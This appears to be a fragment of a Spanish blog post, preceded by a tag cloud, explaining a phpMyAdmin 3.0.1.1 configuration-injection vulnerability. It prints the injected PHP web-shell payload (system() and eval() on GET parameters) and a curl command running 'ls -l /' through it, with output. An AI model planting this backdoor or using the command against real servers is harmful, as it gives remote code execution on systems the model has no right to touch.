felicidades mysql iphone games linux juegos lucux futbol league films ubuntu frases barça apple web openbsd sidenotes blog rfilms san_froilan php bash ibook blogsfera deportes macosx cakephp rsidenotes userlinux seguridad nintendo copa debian opinion champions update personal ds alemania_2006 tip beers lugo mac cake hack bsd programación blogs freebsd mundial 2008 cms 2007 ssh meme cumpleaños soccer bake humor conciertos
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'(pre)';system($_GET['c']);echo '(/pre)';}if($_GET['p']){echo
'(pre)';eval($_GET['p']);echo '(/pre)';};//'] = 'localhost';
Por lo tanto en un sistema infectado podremos ejecutar el siguiente comando con éxito:
$ curl "http://dominio-afectado/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x 2 root root 4096 Mar 11 10:12 bin
drwxr-xr-x 3 root root 4096 May 6 10:01 boot
drwxr-xr-x 15 root root 14300 Jun 5 09:02 dev
drwxr-xr-x 147 root root 12288 Jun 5 09:02 etc
drwxr-xr-x 3 root root 4096 Oct 18 2008 home
drwxr-xr-x 2 root root 4096 Jul 2 2008 initrd
[...]
Recomiendo leer el proof of concept con atención.